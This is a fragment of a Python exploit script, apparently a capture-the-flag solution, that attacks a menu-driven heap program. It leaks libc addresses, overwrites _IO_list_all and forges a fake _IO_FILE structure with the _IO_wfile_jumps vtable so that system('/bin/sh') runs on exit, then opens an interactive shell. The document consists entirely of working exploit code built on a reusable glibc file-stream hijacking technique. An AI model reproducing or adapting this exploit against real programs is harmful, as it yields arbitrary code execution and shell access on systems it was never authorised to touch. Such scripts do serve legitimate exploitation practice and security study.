environ = libc_base + libc.sym['environ']
IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# addb(b'3333',b'99',b'3'*0x538+p64(environ)+p64(heap_base+0x2a0))
# show()
# ru(b"Now MiTaHome: ")
# stack_addr = uu64()
# lg("stack_addr")
name_addr = 0x4040E0
pay = b'version\x00'*4 + p64(name_addr+0x30) + p64(0x0)
pay +=b'mita\x00\x00\x00\x00'*4+p64(0x0)+p64(IO_list_all)
name(pay)
addb(b'4444',b'99',b'4'*0x538+p64(name_addr+0x30)+p64(name_addr))# mita_home version
note = name_addr
addb(b"mita",b"99",b'1'*2+p32(note))
addb(b"mita",b"99",b'1'+p32(note))
addb(b"mita",b"99",p32(note))
fake_io_addr = note
next_chain = 0
fake_IO_FILE = b'/bin/sh\x00' + p64(0) # _flag = '/bin/sh'/rdi
fake_IO_FILE += p64(0)*2
fake_IO_FILE += p64(0)+p64(0xffffffffffffffff)
fake_IO_FILE += p64(0)+p64(0)
fake_IO_FILE += p64(1)+p64(2)
fake_IO_FILE += p64(fake_io_addr+0xb0) # _IO_backup_base = setcontext_rdx/rdx
fake_IO_FILE += p64(system) # _IO_save_end = call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
name(fake_IO_FILE)
exit()
ia()